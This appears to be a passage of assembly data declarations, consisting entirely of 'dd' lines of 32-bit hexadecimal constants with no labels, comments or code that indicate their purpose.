dd 0BEE14F8Eh, 8929B77Dh, 0A990AEA1h, 0A266335Ch, 16AEDC58h
dd 16469B50h, 0CEF51214h, 34CDCC67h, 0B0B9376Eh, 0C5BD08F6h
dd 0D21E4524h, 1EEF72D8h, 0BC32E639h, 97E55F78h, 98EFED75h
dd 0ABD04440h, 1D178DBFh, 0CE626172h, 9A01F67Bh, 9888760Ch
dd 7F5F8214h, 562BBC61h, 0FAEF43A4h, 7A174606h, 2185D2E7h
dd 9526D45Dh, 0DFE4EAB9h, 0E9799295h, 5C22A9C4h, 4D83DFDCh
dd 0D02906A0h, 3AD1737h, 10B52BF3h, 340FE480h, 9295BE21h
dd 0BEBF02BFh, 0DC679237h, 57E50087h, 0AEB0ECB4h, 9B08A1DFh
dd 6C90FC0Ch, 187B1F2Ch, 0A50BB657h, 391583E9h, 22A67125h
dd 7D98CB3Bh, 0CCAE3055h, 1398A3A6h, 187F0A69h, 8CA8AFB4h
dd 4DA87C57h, 0F7614928h, 0D0E395B0h, 0C3304DAh, 0C67388EAh
dd 1F30110h, 0F1FF8EFAh, 9F650AF5h, 9611455Ch, 0B668AB7h
dd 57CAE29h, 3318B605h, 0D5ED1E1Ah, 6BEE5311h, 874537DAh
dd 0E3FBDA89h, 6838A13Ah, 8E721A33h, 0C3464E82h, 9CF99A6Bh
dd 311C024Ah, 20D2A329h, 3EC6A6A1h, 878C21B6h, 90B5CBA5h
dd 65512064h, 0FA41DA2Dh, 4AAA5AFEh, 0DFBB033Ch, 95FF0B9Ah
dd 2E6F4CDCh, 0C4DA377Fh, 0AC6E4B89h, 0ADDBEDD6h, 0B41425C6h
dd 0F0455140h, 6BE83F3Ch, 526E9DE5h, 0C729C2EDh, 0A29EB42Dh
dd 0B9578C88h, 113E7CFh, 0D3497B7Dh, 0AA5E0A06h, 0D99C751h
dd 49DCE500h, 12FA1917h, 0C5647997h, 32BC775Bh, 39B4A9Ah
dd 0EE797656h, 0D52BE1B3h, 41DC8D8Ch, 8763921Bh, 7A00A085h
dd 0CC902723h, 388F8513h, 1F5764E3h, 1F2EA998h, 79DC387Ah
dd 6C87B7BBh, 6C8C1FF1h, 0E17AE22Bh, 75B69Ch, 20CBE6DBh
dd 0D2D93A30h, 2C25329Eh, 15C001ACh, 0B81CCF8Dh, 9E7F472Bh
dd 2F4BE648h, 0F33FA21Bh, 0BD77734Fh, 0DBCC148h, 9F1CB53Ah
dd 3E369948h, 26AE52B2h, 31C7D2F9h, 0C0D06F85h, 77319732h
dd 0B3E335CDh, 3E5017D6h, 0CFCEED67h, 0D3B854F3h, 0C85D4A9Eh
dd 8C4B33Dh, 5082CAB4h, 3D7159F3h, 666A28EDh, 889F6CACh
dd 6D468954h, 17CA27F0h, 4616594Ah, 27ED294Eh, 626E09E8h
dd 0F69BD7D9h, 10F2B8DFh, 0A60BE9CCh, 2F4DD36Bh, 0F816789Ah
dd 1EBC59Ch, 0CCA5FE91h, 0F3E472E7h, 0AB10B8BAh, 30840627h
dd 0C9FB756Bh, 0F99BAF95h, 9950A5B1h, 8A3564A2h, 60FDABBDh
dd 3D9C8F6Dh, 43D6EEA6h, 651E5688h, 2C3BA560h, 0C62FE7DCh
dd 44ADC234h, 0F11209AFh, 0AB09CDB8h, 86ABC899h, 9C1BF558h
dd 4B134704h, 2081C6A5h, 94AF10A1h, 55A2D5BDh, 145ABA7Eh
dd 0ABEE1B9h, 344B0DB7h, 5AC2FE0Ah, 31F23D8Fh, 3A10DC13h
dd 56D3E485h, 191A71A8h, 0D6096825h, 61B02B5Fh, 0D54759DFh
dd 795AAE1Eh, 77B88B1Ch, 16E4F1AFh, 145E212h, 683D0359h
dd 0C7301B37h, 98CB626Ah, 0B758D58Ch, 3F27854Fh, 4A2CF6AFh
dd 0DC0F0B6Fh, 0B1952BD6h, 2AAD3477h, 0B2053C98h, 3771349Fh
dd 5D43CDE0h, 0A3046569h, 0B91DC808h, 0BD5ACAE4h, 0DB9D57EFh
dd 38C23C00h, 0A990F1D5h, 0F186B464h, 18DAA1F6h, 2CC31192h
dd 49AB8022h, 0EA6E07A9h, 0B023E553h, 2CCFC180h, 841EBF03h
dd 0D2E821D2h, 0C57C54F8h, 735D215Dh, 0E1418ABAh, 7B2AAE31h
dd 2A43422h, 2B1064BCh, 0FFDF319h, 486BB443h, 0C8DFF57Eh
dd 0C5EB1BA7h, 0D072C720h, 8E6104F0h, 0DE374493h, 648C324Ah
dd 657F5261h, 3B82F78Eh, 0A4C86208h, 0ECEF678Ch, 116C7A9Dh
dd 0B7EFF2Dh, 4B9F8A5Fh, 0B5930F2Dh, 0DCC54FEEh, 6B78E7E0h
dd 0E6CC9DDBh, 9C73C3C1h, 0D15BF96Ah, 6931D04Ch, 0F8D4D1B1h
dd 52B23875h, 77EF95BDh, 4A7590EFh, 90F5F04Ah, 1747587Bh
dd 0D8E109EDh, 2D4D67C4h, 638522CCh, 0AF74E983h, 88940957h
dd 0C329FDA5h, 33720207h, 0F08E17CCh, 0B15BFA97h, 30BC6BD4h
dd 0DFE32209h, 9B8537D4h, 16357DF3h, 0AAB75073h, 6D8DBBA2h
dd 64DD58E6h, 2ADA2B1Dh, 0B3150CACh, 0D21CD62Ch, 248E98E4h
dd 0D04F5F0Bh, 0D7A54715h, 0BE064543h, 350E2FB7h, 0D62EAC24h
dd 0D73739A7h, 0C2ED53C2h, 95EC0A55h, 8F572F33h, 0C817DF2Fh
dd 0B0CFD22Dh, 1958F8F9h, 0E9D15B2Fh, 5DFDD4E1h, 8F357150h
dd 0F053C112h, 88F0E87Eh, 560D7C0Ah, 7B1603DBh, 0A47B63B4h
dd 6A45473Ah, 43645242h, 53B73725h, 0AB8977B1h, 65C9D1DAh
dd 872DEAE5h, 11FA581Dh, 2CCCF130h, 72BC0C07h, 0E1A06E92h
dd 50DFABDDh, 0A6A2B55Fh, 0EFF26A69h, 4311BDEh, 0FACB7CF7h
dd 50667A8Ah, 0DA1872BCh, 0BF1264A0h, 83F84FFBh, 0F5F762F6h
dd 0C242202Ah, 46D41735h, 49EE7BFDh, 0F9B02D7Eh, 26E5B1B3h
dd 3E3FD9EBh, 7538E557h, 5BC70C88h, 2CF5BFFCh, 6CDEF388h
dd 32203925h, 6308BB1Fh, 33E6D898h, 94DE5849h, 24EF3869h
dd 0CDC43D5Dh, 8AFEF5EBh, 0E6EBCF05h, 69FE3764h, 0D7F64D0Fh
dd 50D6A44Dh, 86602151h, 0C7BFB784h, 0DA8AF353h, 685B9350h
dd 2884B215h, 0F10E228Fh, 29AC8044h, 656C2766h, 5F400FABh
dd 9DE3CB70h, 4AE7E2A5h, 18598C21h, 26118175h, 16B20BC5h
dd 88A53F08h, 97454063h, 35496319h, 9F62AE96h, 9E6F1C07h
dd 462ADF92h, 2DFAE59Dh, 502C0C7Dh, 2D513EC1h, 0FB9DBB5Bh
dd 0C56001C0h, 987CE308h, 0A40C5C01h, 0F114AF35h, 3EDDEE4Ch
dd 1BAADE4Bh, 0DEF7D1B0h, 0D3BC2F73h, 74641767h, 0AE8AEDD1h
dd 0ED89925h, 0EBD931AEh, 0FB39FDB1h, 7CF97F99h, 7AE809E1h
dd 9DB95EFFh, 2056A09Ch, 28FFD4DCh, 825A2EF7h, 48D4E5A7h
dd 15230875h, 4C21522Eh, 0A5240F00h, 780E0694h, 1C897DCEh
dd 920483C6h, 0D201362h, 7227B172h, 1551AFCCh, 759530E8h
dd 3E26E67Fh, 0D179C8F5h, 0D5D0402Ah, 0D4147CD0h, 13DCDCDEh
dd 0AFCA22E9h, 0A2DC3308h, 404AEF43h, 0EC7B9747h, 0D2F0640Dh
dd 0C21F9B9Dh, 954D95Fh, 0FB1D040Ch, 0EB66B502h, 382C59D5h
dd 74DD1364h, 0C461CED9h, 68394029h, 0C8477AF0h, 0B2E70498h
dd 396C129Ch, 8DD625EBh, 5A06C2A7h, 236C3Bh, 1C9D5A40h
dd 32B6C4D3h, 6E56C404h, 16D57B03h, 7D3ADEE2h, 0CF3CC92Ah
dd 859E6738h, 5ED74935h, 32E8CF2h, 6427CFEDh, 3EA22764h
dd 0C57432ABh, 0B66D3416h, 0A220CA79h, 0DE570A2Ch, 58CE239Ah
dd 20F372A4h, 0D0642505h, 8D00FE63h, 88B7BDC6h, 34B8EB54h
dd 0EFEFCB51h, 0B628E3EBh, 22E3F308h, 0F0D9D274h, 1608D072h
dd 7BAEDC3Ch, 166740Dh, 0C0A6F406h, 1316E40Eh, 7C45909h
dd 0A6B27957h, 0A0DDAB2Eh, 0DB0DF990h, 2433EE9Ah, 0CF12A0C5h
dd 664322F9h, 5D23EA4Ah, 3F8652D8h, 0CF5A1335h, 81B63A6h
dd 3F60E6AEh, 0A10784A2h, 0C754CF2Ch, 0E88C0A1Fh, 5F33A4EEh
dd 0B9645E78h, 0CFB41520h, 0EDB18D90h, 0B2E9FB2Eh, 9950299Fh
dd 2155AFD7h, 73040CD9h
dd 0B4ED1DB0h, 4D5464EAh, 0BB2671A7h, 0E8F412ECh, 64B36FA6h
dd 832C936Bh, 0BC485293h, 0DFF1941Eh, 15D65749h, 0A7F0E070h
dd 60EFC5E1h, 35CA953Bh, 79B78E87h, 7EB28452h, 67A5BBA0h
dd 465AD9F3h, 0E7E10E2Ch, 2C87584Ah, 0DB53486Dh, 5C65C84Bh
dd 0A7372E61h, 0A883AFECh, 0C682C7EBh, 45B9F169h, 0CE78F8BFh
dd 1B71844Ah, 0FA358DA7h, 36702A8Fh, 4ACE0DFh, 56ED7820h
dd 2D69D540h, 0FF156017h, 7F1B7964h, 0D007D6FDh, 0C009F087h
dd 4DCBBEEEh, 2CEF1B43h, 0C8320E7Dh, 2E5C6A78h, 0B19AB3h
dd 0B8CD2F5h, 7650F991h, 2A049014h, 299D7862h, 0A9CA8735h
dd 0B776C17Ah, 0E3B9E2A2h, 21EAF9A2h, 0D1F49407h, 311450BEh
dd 81B729DFh, 225FB65Bh, 6B9F96F5h, 0D8FBA1AEh, 730FC414h
dd 81C2ACAFh, 8899A3D9h, 0B7DA632h, 457CA1A8h, 87CBDFD9h
dd 56C909C6h, 9751C186h, 0F8BDBB7Fh, 6BE578E2h, 30F07A1Bh
dd 8313550Eh, 8CE6A30Dh, 3C6812B5h, 0E46CE0F3h, 0F21A8F23h
dd 69798FF2h, 0EBAA1F9Bh, 6A70815Ch, 6FB0FEA0h, 0E89B6541h
dd 434363Ah, 0E1A37220h, 0ED0ED8EFh, 0CC98EB9Ah, 2D532157h
dd 0DBB3E83Ch, 3F8377Fh, 626B9410h, 3F10D528h, 1B8BF133h
dd 7A64A4FBh, 6A6E6EE1h, 2099382Fh, 0DF8EF0D3h, 7C4658ADh
dd 0A93D566Fh, 0FB2397C1h, 3DC0D65Ch, 5894A241h, 5D660206h
dd 4407F6E9h, 48A3291Dh, 869D8164h, 0AEC6DF6Fh, 81EA6A88h
dd 756C97B0h, 0F8993858h, 0E2F06E90h, 0A17ABDE1h, 0FC947E9Eh
dd 0C96406BDh, 401C4DD2h, 0CD691213h, 1A39565Fh, 60F40594h
dd 0E74D041Bh, 6A00C8DDh, 4B272B24h, 0FF47F95h, 0BDF7DC3h
dd 8BA72E96h, 0FDE2B833h, 1D82CD8Fh, 27F4742Dh, 3EC9B8C4h
dd 7BE7BE06h, 0C586CFA1h, 7EA52B80h, 10A82666h, 3E42FD1Eh
dd 9B83257Ah, 648349EDh, 5F0F8655h, 81A96660h, 0E6CC416Ch
dd 85B9AFEEh, 0E59C5459h, 2FC86C8Ch, 0D3ACE594h, 0A5653E74h
dd 0DB162374h, 72260509h, 0D2D5A615h, 0C8D99C14h, 0AA145C49h
dd 0F6149972h, 3BB36787h, 0B0588956h, 1E05E72Fh, 0EFF84E54h
dd 0D8257C17h, 0B5400FEFh, 3F132DA4h, 0A9847C9Ch, 2E77F894h
dd 0BF06E285h, 0B1071001h, 60B1E71Bh, 0E6B06D68h, 0AA3F691Bh
dd 0BDC64CCBh, 0EA96BE6Fh, 7805342Ch, 0C9E4B239h, 4F301BD0h
dd 5D558028h, 7A243F93h, 6C2D7103h, 0FF495C0Ch, 4F48A36Ch
dd 95C15876h, 0EB4BA881h, 8BEB1C6Ch, 3C8A3DB3h, 0A98483ADh
dd 89FDD189h, 0D17A5DE5h, 0FCD1FFAFh, 7CDDB6C4h, 89E15CC4h
dd 9EA948B0h, 32554BE4h, 0DE413B02h, 0ADD912CBh, 2FA0E459h
dd 814E0EEEh, 0C4FA6E0Eh, 8406F66Ch, 2050CF51h, 675C492Ch
dd 493C037Bh, 1AB12841h, 96B7ACC9h, 4B7D636h, 8A520E64h
dd 7CDEB87Dh, 8C7A12B2h, 4E5F574h, 0E2085589h, 0A0CFFCD1h
dd 51532F3Bh, 5AC7D2C3h, 5859C49h, 2C481F7h, 0E69F48E4h
dd 0B878EDh, 0D68F6DEAh, 8D567D37h, 0C41710E2h, 3EE130F5h
dd 0E40AA7Eh, 0E03E4CCFh, 2028F3A9h, 1C6F981Eh, 1D0C85F3h
dd 0B26F0E52h, 139BA9DEh, 42ADFD79h, 8BDDFF67h, 0B8382E94h
dd 2D6E9604h, 0E3B71D60h, 0EDDB2A71h, 4C588661h, 0B11A778h
dd 0BAE8FD2Bh, 0D212327Dh, 0B0B9AAE6h, 4FF27122h, 744D5DE3h
dd 872AA718h, 6B865644h, 0CA55817Bh, 0A22D1CE0h, 6E88623Bh
dd 785217ACh, 5B4E612Bh, 5471446Ch, 75F5E384h, 3BCDB4D9h
dd 7CC749A4h, 9864C075h, 63266892h, 4BECA358h, 0CFEB48CEh
dd 63491A41h, 0D60C54FEh, 2FC2914Eh, 0F78A5A7Dh, 0A19CFFD2h
dd 11AC7E2Ch, 501CCE7Ch, 55830A1h, 0F2422617h, 33A89BE8h
dd 2E2CFCE7h, 0A1F377FDh, 95D60AA5h, 2866AB32h, 91550753h
dd 16FAE857h, 65096B99h, 8B70C93Eh, 0D9822392h, 979093F9h
dd 2E6C4BAh, 9D4A5E98h, 0B4C42D38h, 9F1019CEh, 6700081Dh
dd 4E0ADE4Ah, 0C8830870h, 37C28F4Ah, 0F2EAED3h, 0A58520CFh
dd 0D6601974h, 0BB6AE5D5h, 5A0FB405h, 6BE3265Ah, 0F26AC0A3h
dd 0E608A45Bh, 6A98EFAFh, 58EB6CBAh, 5C5CF5C0h, 0DAEF9CE8h
dd 4C23BBB3h, 0C2EF3F65h, 1C1EB420h, 655666FBh, 0FB8E459Eh
dd 8E50AFC5h, 60D1B853h, 5308C60Bh, 0E0C0C7F5h, 879C4965h
dd 0E1556E23h, 0CEB906DEh, 0FE2010E3h, 2E7DC01Bh, 944A3969h
dd 410EF333h, 275EC137h, 382FA498h, 4657475Ch, 0D0ABC962h
dd 5F46AF2Dh, 41E0A4A0h, 45FB1FE2h, 4B8BB7B3h, 13F20C24h
dd 97173114h, 0CF4CCB3h, 6DB6ECEEh, 9A02DA64h, 0BBAD8AD4h
dd 0C9BC6FAh, 0E7753B8Eh, 8CB32FAAh, 6B8F1D5h, 17CB6413h
dd 0EBC710BFh, 0A730A7D7h, 0DE7F9225h, 0B75F1AD6h, 41451FE7h
dd 98E8ACC7h, 9C3BA19Ch, 7275CE84h, 0BE68919Fh, 0D9997763h
dd 269F6C06h, 2949E852h, 0B8632AFDh, 0D958008Fh, 0BF0A120h
dd 0A50098BBh, 554C10B5h, 0BAB6D100h, 0E4EB79F1h, 2278AA67h
dd 0E2B53C95h, 106A09BCh, 1B8A6C6Dh, 2EB2283Bh, 0D2BB01CFh
dd 0F0882E3Bh, 4180520Eh, 2D9BFFE1h, 50524005h, 4612917Ch
dd 9170B32Ah, 0DC280175h, 84C523BBh, 24581CAh, 955B5F35h
dd 76955B76h, 62BE919Ch, 0D4536FE2h, 676B5FD7h, 3051948Dh
dd 2D319F9Bh, 6E6966CCh, 8BA5BD5Bh, 0B4596826h, 4746F81h
dd 2C157D7Eh, 0FD9D7349h, 0EA9294BAh, 0F15A42Bh, 5D2F4895h
dd 8465A86Dh, 85C359B5h, 5ACD6255h, 46098DF5h, 2474F2A6h
dd 0ACDBFB2Eh, 9724F9D2h, 22BBA051h, 2FF81AB8h, 0C8C06615h
dd 9E1FC25Bh, 6FB39C2Fh, 5A7CD370h, 8481E09Eh, 0EF6F458h
dd 33C9B8h, 0C221BECFh, 346503B8h, 0FC9A562Bh, 0AE40A91h
dd 7561A0D9h, 40F5317Eh, 0FB00BC6Ch, 262246E3h, 0BB950148h
dd 4B073841h, 0CCD143A6h, 7A0417FDh, 0E3B65BA0h, 0EA7B08F0h
dd 0C83B7B0h, 79764121h, 14C8B097h, 7B32B691h, 87F19072h
dd 20FD68DDh, 4F8E926Eh, 72F303CEh, 0BF7DF82Ah, 0AFEBD9E2h
dd 0FBFB6E1h, 262F2DB8h, 0DA44CE8Ah, 1454A08Dh, 31136C72h
dd 3BC65EE7h, 0BD908629h, 0F3CE19BBh, 57F956EDh, 27B90A6Ah
dd 59F4435Ah, 670A981Bh, 0A18E05BFh, 874CF64h, 7712DBE9h
dd 440BF5C7h, 22035C57h, 8E55A943h, 0FFA9C1DDh, 1C565604h
dd 8F76C11h, 851ADA6Dh, 0A46E87C3h, 94C88EB0h, 49062BA2h
dd 0C7619E82h, 0A490F78Ch, 24400F07h, 34C7CA74h, 478180C2h
dd 2733FE4h, 0A172D4FBh, 23A7DB2Eh, 0A464DB13h, 4EFD3984h
dd 492C86DBh, 7EBE9F50h, 0CA34663Fh, 193C9067h, 0A8EA1E79h
dd 2A4860BBh, 0D586C5E7h, 7E8BDFB6h, 0DF512F06h, 5E7536B0h
dd 52868E32h, 43A003ACh, 62AAFF0Ch, 53EEC3FDh, 0EE454CA3h
dd 43487520h, 99F2AE5Eh, 0B14459FDh, 916EE36Fh, 86A8FE58h
dd 0B7086E0Eh, 7204BFFAh, 89F08D08h, 0E17EC48Ah, 4D431841h
dd 0B4CCF3B1h, 0BE152A0Ch, 126857E1h, 993152B5h, 8474E9Ah
dd 20FCD748h, 13C7A567h, 0AA7A9003h, 2F0E1F15h, 60511B74h
dd 6C4DEE5Ah, 417D29E8h, 0E3FA1442h, 8B076BA9h, 95F3FB45h
dd 0DD102A25h, 5F351500h, 0BE70530Fh, 0A772EF70h, 11CB3C1h
dd 73C1F26Fh, 0A938C0Fh, 44FB388Dh, 41D4E4A8h, 0C2764A96h
dd 0EF5F07C3h, 0DB35DB66h, 67FA39BAh, 7B2966C0h, 0D091D04Ah
dd 3D20E9B6h, 0A21B9B56h, 0AF2AFE88h, 11DCFF5Eh, 71340C3h
dd 0A2E469CAh, 13EF1754h, 0A4B7CD8Dh, 0F176BE9Eh, 0E7664E71h
dd 50E398ECh, 0AE5C7D3Eh, 0C07AAA2h, 0B4565A87h, 0EF41FD17h
dd 0D924E7B6h, 636698F9h
dd 0C824199h, 5DF77966h, 0D02E895Dh, 83AF2261h, 2B249AEFh
dd 24DACF79h, 0F0CB02h, 96844959h, 17ABE772h, 0AEB8C145h
dd 15A0A650h, 60F78999h, 88CC5E4Ch, 1177F439h, 30AD6EE5h
dd 599F621h, 0BDE8EE2Bh, 31C4E836h, 2C550991h, 872ABDFh
dd 7390B260h, 243640E0h, 637DA074h, 3AC9D37h, 6753D99Fh
dd 0E5567205h, 5CB054h, 0F3B8631Fh, 64934675h, 96680078h
dd 8E529629h, 21614A51h, 0F4FC8394h, 0C247C61Ah, 0E522AE9Ch
dd 0B01643B5h, 4EFB00CEh, 9C17938Fh, 9DDA4590h, 0A0D6B297h
dd 9305B12h, 8D0F9649h, 0C83B3811h, 1CB60C32h, 0A029BD63h
dd 3125781Ch, 0B3A96E2Bh, 0A249FE6Ah, 26C7D62Bh, 46267FDEh
dd 4E7BB75Ah, 2FD8FAEAh, 0C2A45B36h, 0CB8780A0h, 0B6879D86h
dd 0D99DED42h, 47DA26C6h, 0CA3E7075h, 0EFED1B24h, 52DDF1D0h
dd 96BE5DCDh, 95A96749h, 1B1F04ABh, 4CA0B5A7h, 3CD0FCB6h
dd 28D9E31Bh, 359498B9h, 0E92DD0F4h, 7C6D2862h, 82BC9848h
dd 81B479CCh, 2C3D921Dh, 0E773BF16h, 70BD7B9Ah, 0CC003FFAh
dd 6B1480C4h, 0D63727BFh, 112EA2A1h, 37327574h, 1C07A6A4h
dd 841EFB74h, 24B35EA0h, 42EA91E4h, 976FF68Bh, 7B78E692h
dd 59A2517Fh, 8D205842h, 481F0710h, 0BF18D838h, 0FC86E5CCh
dd 0DB6FE805h, 0EA3992B1h, 43DF07FBh, 9C4596CAh, 0A95B16C2h
dd 0B981F6E1h, 0DD3F40Fh, 380E38D4h, 0C498C5FAh, 0F0838F8Eh
dd 0E3D579E0h, 6384F942h, 0C5D7EE92h, 66016F12h, 9FDA6D7Eh
dd 6807A0F0h, 3D259436h, 19AD0067h, 0B65F839Dh, 0B85AAD58h
dd 0F405035Eh, 6E39F9D6h, 0A4D3010Ah, 9C9EB2D2h, 0CFBC2133h
dd 115CE74Ch, 1FB7D1F3h, 0C193D444h, 9CA7D7Dh, 7296A00h
dd 0E913B3AAh, 0FFF12DE9h, 0FEAC9495h, 0F0B42CB1h, 0F29D3C7Bh
dd 83D53C8Eh, 75586E3Bh, 66490AECh, 0B4A1B8B0h, 5F7E6E32h
dd 321BC36Dh, 8867C3D8h, 643C9AA3h, 0ABD39523h, 0F323FE14h
dd 5DC444EEh, 241D9C68h, 0C4E07785h, 63055A74h, 0AB25E3EBh
dd 37B1F855h, 3A7E3809h, 0A9B5962Bh, 3513016Ch, 4A2ED26Ah
dd 9DCEABD2h, 0A638F1Ch, 9678A0Dh, 8D06CBEDh, 7077C452h
dd 71274BC1h, 977554C5h, 0A520BA5Dh, 0FEF169F0h, 9B27349Fh
dd 5CC290B5h, 89F79648h, 914F560Ch, 1A219A5h, 850D9033h
dd 1F645A0Eh, 4684CF38h, 0E4E09477h, 0E3986257h, 79C5B52Bh
dd 7C439B80h, 442C816h, 9D234DAh, 40BD1A53h, 4CEA2A7h
dd 0AEDE0DFBh, 0EA1A10Ch, 1002580Bh, 0A18F35F2h, 0DB531AACh
dd 0D026D869h, 0CCB7DFFCh, 0E09B4CD7h, 0B277B594h, 0F6700AC2h
dd 0F5C32F4Dh, 0BEED0F35h, 4E4EF4FEh, 0C10A25A4h, 0D06FCA5Ch
dd 0EDC0EEE0h, 28086CA5h, 0A6508AFAh, 3063161Ch, 3C9DCF5Fh
dd 7392DCA4h, 0BC0B8E5Bh, 0C4BFBB89h, 19E1CFCBh, 0E8BA94EAh
dd 5B44D23h, 1D40176Eh, 58440E16h, 0ED424C82h, 4C404D71h
dd 8EE552DAh, 77D59569h, 225D8DEBh, 29B55958h, 8C2AFB73h
dd 0B9FB871Fh, 6DECAFDCh, 0A902027Ah, 0B35D5235h, 486ECE3Fh
dd 5EE6ABC9h, 8611D0E7h, 0FA77C221h, 3E763018h, 0A718302Ch
dd 0E9DC2564h, 0CBF2B96Dh, 8BD78F9Eh, 66A24D35h, 2E4A6160h
dd 3A1FD38Ah, 6597B0B6h, 0BC7697FEh, 0F8B454BEh, 0B2D69B1Dh
dd 0A31B14E7h, 0AF64A720h, 3239491Ch, 0AB1F1177h, 824505E6h
dd 0D89E03EEh, 8F6523CAh, 0EAC7ACC5h, 0C0089CB3h, 3DB752D9h
dd 0E7692819h, 71B1FABCh, 0BC15C9A8h, 953471EBh, 8FDE7E7Dh
dd 488F5E1Fh, 501FB77Fh, 1F251C9h, 4F407B54h, 0D2B62D9h
dd 11E4BD3Ah, 0B25173ECh, 0EA5B84C5h, 464AC7BAh, 0F07F0B32h
dd 0C3CAD91Bh, 6A5AA0CAh, 0A3B6D502h, 2B5786D1h, 7F3A63DEh
dd 97BECCAFh, 0A077EFF9h, 0EFB61FFAh, 0ACAB6151h, 8B62DCF0h
dd 0DED06CB8h, 783B0751h, 0FBBF12F5h, 0B8F95A17h, 0D8A05280h
dd 3907217Eh, 70BB9800h, 0C35F312Fh, 0B3FAD294h, 0EFCD37C2h
dd 0FDDDD51Eh, 18994E31h, 0F2071543h, 0B6F3B675h, 3892E0EDh
dd 0C9875A66h, 0CAE3ED76h, 0D7AEBB6Bh, 74356B81h, 0F3C8DA23h
dd 0DB5A06E1h, 8B854AB1h, 20F88F5Ah, 0AE424D12h, 0BB29D1C4h
dd 1AAFA8A4h, 0EA441428h, 0CF19BD58h, 4383964Ah, 7FF86842h
dd 6E217E69h, 79096BFFh, 37CD4CDDh, 3CEFD93h, 0A893DDD7h
dd 694D3BEDh, 0EEAFC756h, 0B350D8Bh, 45FB7965h, 46F20FC2h
dd 0A32E341Fh, 0BB5346E9h, 0F145E6DAh, 5397A555h, 0A0B9F48h
dd 9C25072Ah, 9AED2C18h, 315DDCEBh, 0A3CFAB3h, 0C6B8A2CCh
dd 0BABBD75Eh, 9D08138Fh, 40E73A65h, 6765CB3Fh, 0F26E467Bh
dd 10706F80h, 73F61340h, 5E69FAA9h, 7B057A59h, 50C4F05Eh
dd 0D7DA7AB0h, 23A93D67h, 0A253A0B1h, 8942B966h, 6890322Fh
dd 284DB878h, 22CE597Ch, 0BD99701Eh, 3F45CE2Ah, 697D5909h
dd 0C4CD1172h, 0DEA99203h, 0FB509C08h, 0CC2F4514h, 4862397Dh
dd 5FE629EFh, 7F2D45CDh, 853A0A97h, 87206CF4h, 528043ECh
dd 0E0BC326Fh, 441D5C22h, 2C767156h, 7A8B9041h, 4A4D425Ah
dd 0EAF4BE24h, 5F38462Eh, 0D55BEF17h, 76F81A18h, 975A2563h
dd 5F7D7CACh, 0A855615Ch, 7FB9D408h, 881ADD40h, 0C2F1CCDh
dd 0F7B793Dh, 0F07BDA94h, 0A4B07A5Dh, 1EA70340h, 4030F33Dh
dd 8AE7D07h, 9A12F49Ch, 0E17428C1h, 18172803h, 0AB727BF2h
dd 0E73EC8B4h, 94C59616h, 3101592Eh, 5499947Ch, 68739EABh
dd 0B765C3D7h, 0EE28D21Eh, 26CF30A5h, 540E00F5h, 0C9A0BB2Ch
dd 8A75328Ch, 5262AFFEh, 0E177DAA4h, 0DA250144h, 30211117h
dd 9930E497h, 13D6CE3Dh, 1F0660F6h, 0B6ABC28Fh, 7817108Ah
dd 55389B1Bh, 10F586Eh, 719C2CC4h, 0AA20CB89h, 1CFF7DFEh
dd 0AA7B60ADh, 2D26842Fh, 8F61A183h, 3002E87Fh, 3CEA9A83h
dd 0EF6A947h, 0A32B12B5h, 0C0D10399h, 2A8D581Ch, 3B28F32Fh
dd 4200FAFCh, 0A4D7340Fh, 3BEDBCDCh, 6252B380h, 4DFF4920h
dd 873354DCh, 72A2F8E0h, 73FA31F9h, 3F608BA1h, 4DBAE314h
dd 13D06EDEh, 0E0B72B45h, 0B7CBF9B7h, 8581B575h, 0FB0B4B1Fh
dd 0C0A037E0h, 7BA45C06h, 0DBB30EBh, 0A307A277h, 55AF0DD0h
dd 0DC7855F5h, 2BD9A92h, 0A9ED3727h, 1A4D2EB5h, 1D3E681Bh
dd 24CFC4F9h, 263CEBB7h, 0A4266C31h, 3038F208h, 3D41EA23h
dd 0C749DDA0h, 428D31C1h, 6A126A4Ch, 587275C0h, 0CDC0A1EEh
dd 0ACFA506Ah, 4E17543Eh, 0AB20BF88h, 0CD32FAA9h, 48EF2D75h
dd 0CE2ED8Ch, 8AA1F03Eh, 61ED4809h, 0F3FAD163h, 6BBC39D8h
dd 7DF3C97Fh, 77DC53ADh, 0AF16E40Eh, 7BA03BE5h, 1FAC417Ch
dd 0DADA1C10h, 774EC61Eh, 0B9DD4CE0h, 0A7E4E433h, 0CAD327A0h
dd 367005ECh, 83C10A83h, 32FA2129h, 7E3A386Fh, 0B076ECEh
dd 0A3040F12h, 0E62BE872h, 358FC998h, 790960CAh, 0E4D48464h
dd 1C18D5B8h, 6F522060h, 87DEF150h, 43D4F24Dh, 6E3E4808h
dd 0CB441176h, 78669831h, 2E398304h, 514D4E9Fh, 90BFE83Ch
dd 0EA7DB4BCh, 70B4656Eh, 0EA29A190h, 5955106Dh, 86F03020h
dd 0EB2CAC95h, 0D9DBC806h, 0B0849D93h, 55F87B4Ah, 6FB4BEA7h
dd 12FB4FF1h, 5445B07Fh, 0BE95242Fh, 6368F01h, 0FE574A11h
dd 0DC63177Bh, 0AC06EB9Eh, 6E901886h, 8CBF299Bh, 0C4A16DF4h
dd 0FCDFD2ACh, 0AF2D5103h, 0E69E03ADh, 0C3EA36A2h, 0A57830A0h
dd 5323AFB2h, 175A905Dh, 546F3446h, 170ABA52h, 0DDDCFC42h
dd 2C33A025h, 0DD4A15FFh, 37ADDE7Ch, 0AD444DABh, 618FAC76h
dd 0AF466572h, 377688D4h
dd 0AC8C0918h, 21EC352Ch, 340AB80Ah, 0BE3532AEh, 6CFADF9Bh
dd 5D99F4A9h, 0FDC5FEDEh, 7CBA0175h, 9D82C3FFh, 5B363778h
dd 1A0226FCh, 0F368E444h, 0D1E43BB9h, 0E1427119h, 0E884B800h
dd 0B268E145h, 25842A53h, 73469E35h, 77A1A0A4h, 8021BCFBh
dd 51A4DDADh, 3BEB6788h, 4B458C5Ah, 0F516B341h, 9CED4999h
dd 5A6F452Ch, 9E4BC58Ch, 2BBBA119h, 4866514Ch, 172278C1h
dd 73E7E5D4h, 0E84A951Dh, 0BEC23846h, 37F2D4AAh, 9670F817h
dd 145DF5D0h, 72EF150Bh, 2D495412h, 0BC117653h, 961C10E2h
dd 0C59FADC5h, 5BC209B9h, 0A3C16172h, 714FE62h, 0A5A48BD7h
dd 0B3DBD9DCh, 0A057A15Fh, 67C20ADBh, 0C9C26875h, 0D8192B30h
dd 0FE6E7A2h, 0A388394Dh, 0AD2F01DFh, 0C8D1D2F3h, 0EAC66C28h
dd 0E666B39Bh, 172AB19Ch, 0CBA09290h, 12A4B671h, 0A0E90387h
